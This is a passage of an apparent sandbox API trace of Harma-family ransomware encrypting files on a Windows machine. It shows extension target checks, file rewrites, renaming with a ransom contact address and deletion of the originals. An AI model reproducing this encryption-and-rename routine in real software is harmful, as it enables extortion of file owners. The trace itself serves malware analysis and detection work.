(in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.316] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.316] SetEndOfFile (hFile=0x33c) returned 1 [0174.316] CloseHandle (hObject=0x33c) returned 1 [0174.316] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.316] SetEndOfFile (hFile=0x360) returned 1 [0174.319] CloseHandle (hObject=0x360) returned 1 [0174.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0174.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.321] lstrlenW (lpString=".doc") returned 4 [0174.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString=".docx") returned 5 [0174.321] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.321] lstrlenW (lpString=".pdf") returned 4 [0174.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString=".xls") returned 4 [0174.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.321] lstrlenW (lpString=".xlsx") returned 5 [0174.321] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.321] lstrlenW (lpString=".ppt") returned 4 [0174.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.321] lstrlenW (lpString=".zip") returned 4 [0174.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.321] lstrlenW (lpString=".rar") returned 4 [0174.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString=".bz2") returned 4 [0174.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString=".7z") returned 3 [0174.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.321] lstrlenW (lpString=".dbf") returned 4 [0174.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.321] lstrlenW (lpString=".1cd") returned 4 [0174.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.321] lstrlenW (lpString=".jpg") returned 4 [0174.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.322] lstrlenW (lpString=".doc") returned 4 [0174.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString=".docx") returned 5 [0174.322] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.322] lstrlenW (lpString=".pdf") returned 4 [0174.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString=".xls") returned 4 [0174.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.322] lstrlenW (lpString=".xlsx") returned 5 [0174.322] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.322] lstrlenW (lpString=".ppt") returned 4 [0174.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.322] lstrlenW (lpString=".zip") returned 4 [0174.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.322] lstrlenW (lpString=".rar") returned 4 [0174.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString=".bz2") returned 4 [0174.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString=".7z") returned 3 [0174.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.322] lstrlenW (lpString=".dbf") returned 4 [0174.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.322] lstrlenW (lpString=".1cd") returned 4 [0174.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0174.322] lstrlenW (lpString=".jpg") returned 4 [0174.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.323] lstrlenW (lpString=".id-") returned 4 [0174.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351470 | out: hHeap=0x300000) returned 1 [0174.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef38 | out: hHeap=0x300000) returned 1 [0174.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c1e28 | out: hHeap=0x300000) returned 1 [0174.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3d1e30 | out: hHeap=0x300000) returned 1 [0174.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3890020 | out: hHeap=0x300000) returned 1 [0174.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351458 | out: hHeap=0x300000) returned 1 [0174.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351458 [0174.328] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351458, Size=0x20) returned 0x41d2290 [0174.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351458 [0174.328] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351458, Size=0x20) returned 0x41d21c8 [0174.328] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.328] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.328] Wow64DisableWow64FsRedirection (in: OldValue=0x2d7ff58 | out: OldValue=0x2d7ff58*=0x1) returned 1 [0174.328] lstrlenW (lpString="kernel32.dll") returned 12 [0174.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.328] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 55 os_tid = 0x6dc [0132.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3e2048 [0132.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a00048 [0132.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351488 [0132.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef48 [0132.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514a0 [0132.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3b00020 [0132.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514b8 [0132.155] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514b8, Size=0x20) returned 0x3c0d38 [0132.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514b8 [0132.155] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514b8, Size=0x20) returned 0x3c0d10 [0132.155] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.155] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.155] Wow64DisableWow64FsRedirection (in: OldValue=0x2ebff58 | out: OldValue=0x2ebff58*=0x0) returned 1 [0132.155] lstrlenW (lpString="kernel32.dll") returned 12 [0132.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d38 | out: hHeap=0x300000) returned 1 [0132.155] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d10 | out: hHeap=0x300000) returned 1 [0132.156] Sleep (dwMilliseconds=0x64) [0132.480] Sleep (dwMilliseconds=0x64) [0132.713] Sleep (dwMilliseconds=0x64) [0132.927] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0132.927] lstrlenW (lpString="boxed-correct.avi") returned 17 [0132.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.629] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=89600) returned 1 [0133.629] CloseHandle (hObject=0x2ac) returned 1 [0133.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0133.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.630] lstrlenW (lpString=".doc") returned 4 [0133.630] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString=".docx") returned 5 [0133.630] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.630] lstrlenW (lpString=".pdf") returned 4 [0133.630] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString=".xls") returned 4 [0133.630] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString=".xlsx") returned 5 [0133.630] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.630] lstrlenW (lpString=".ppt") returned 4 [0133.630] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.630] lstrlenW (lpString=".zip") returned 4 [0133.630] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString=".rar") returned 4 [0133.630] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString=".bz2") returned 4 [0133.630] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString=".7z") returned 3 [0133.630] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.630] lstrlenW (lpString=".dbf") returned 4 [0133.630] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.630] lstrlenW (lpString=".1cd") returned 4 [0133.630] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.630] lstrlenW (lpString=".jpg") returned 4 [0133.630] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.631] lstrlenW (lpString=".doc") returned 4 [0133.631] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString=".docx") returned 5 [0133.631] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.631] lstrlenW (lpString=".pdf") returned 4 [0133.631] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString=".xls") returned 4 [0133.631] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString=".xlsx") returned 5 [0133.631] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.631] lstrlenW (lpString=".ppt") returned 4 [0133.631] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.631] lstrlenW (lpString=".zip") returned 4 [0133.631] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString=".rar") returned 4 [0133.631] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString=".bz2") returned 4 [0133.631] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString=".7z") returned 3 [0133.631] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.631] lstrlenW (lpString=".dbf") returned 4 [0133.631] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.631] lstrlenW (lpString=".1cd") returned 4 [0133.631] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0133.631] lstrlenW (lpString=".jpg") returned 4 [0133.632] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.632] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.632] lstrlenW (lpString="join.avi") returned 8 [0133.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.632] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=222208) returned 1 [0133.632] CloseHandle (hObject=0x2ac) returned 1 [0133.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0133.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.633] lstrlenW (lpString=".doc") returned 4 [0133.633] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString=".docx") returned 5 [0133.633] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0133.633] lstrlenW (lpString=".pdf") returned 4 [0133.633] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString=".xls") returned 4 [0133.633] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString=".xlsx") returned 5 [0133.633] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0133.633] lstrlenW (lpString=".ppt") returned 4 [0133.633] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.633] lstrlenW (lpString=".zip") returned 4 [0133.633] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString=".rar") returned 4 [0133.633] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString=".bz2") returned 4 [0133.633] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString=".7z") returned 3 [0133.633] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.633] lstrlenW (lpString=".dbf") returned 4 [0133.633] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.633] lstrlenW (lpString=".1cd") returned 4 [0133.633] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.633] lstrlenW (lpString=".jpg") returned 4 [0133.633] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.634] lstrlenW (lpString=".doc") returned 4 [0133.634] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString=".docx") returned 5 [0133.634] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0133.634] lstrlenW (lpString=".pdf") returned 4 [0133.634] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString=".xls") returned 4 [0133.634] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString=".xlsx") returned 5 [0133.634] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0133.634] lstrlenW (lpString=".ppt") returned 4 [0133.634] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.634] lstrlenW (lpString=".zip") returned 4 [0133.634] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString=".rar") returned 4 [0133.634] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString=".bz2") returned 4 [0133.634] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString=".7z") returned 3 [0133.634] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.634] lstrlenW (lpString=".dbf") returned 4 [0133.634] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.634] lstrlenW (lpString=".1cd") returned 4 [0133.634] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0133.634] lstrlenW (lpString=".jpg") returned 4 [0133.634] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.635] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.635] lstrlenW (lpString="split.avi") returned 9 [0133.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.635] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=194048) returned 1 [0133.635] CloseHandle (hObject=0x2ac) returned 1 [0133.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0133.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.636] lstrlenW (lpString=".doc") returned 4 [0133.636] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString=".docx") returned 5 [0133.636] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.636] lstrlenW (lpString=".pdf") returned 4 [0133.636] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString=".xls") returned 4 [0133.636] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString=".xlsx") returned 5 [0133.636] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.636] lstrlenW (lpString=".ppt") returned 4 [0133.636] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.636] lstrlenW (lpString=".zip") returned 4 [0133.636] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString=".rar") returned 4 [0133.636] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString=".bz2") returned 4 [0133.636] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString=".7z") returned 3 [0133.636] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.636] lstrlenW (lpString=".dbf") returned 4 [0133.636] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.636] lstrlenW (lpString=".1cd") returned 4 [0133.636] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.637] lstrlenW (lpString=".jpg") returned 4 [0133.637] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.637] lstrlenW (lpString=".doc") returned 4 [0133.637] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString=".docx") returned 5 [0133.637] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.637] lstrlenW (lpString=".pdf") returned 4 [0133.637] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString=".xls") returned 4 [0133.637] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString=".xlsx") returned 5 [0133.637] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.637] lstrlenW (lpString=".ppt") returned 4 [0133.637] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.637] lstrlenW (lpString=".zip") returned 4 [0133.637] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString=".rar") returned 4 [0133.637] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString=".bz2") returned 4 [0133.637] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString=".7z") returned 3 [0133.637] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.637] lstrlenW (lpString=".dbf") returned 4 [0133.637] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.637] lstrlenW (lpString=".1cd") returned 4 [0133.637] lstrcmpiW (lpString1=".1cd", lpString2=".avi") 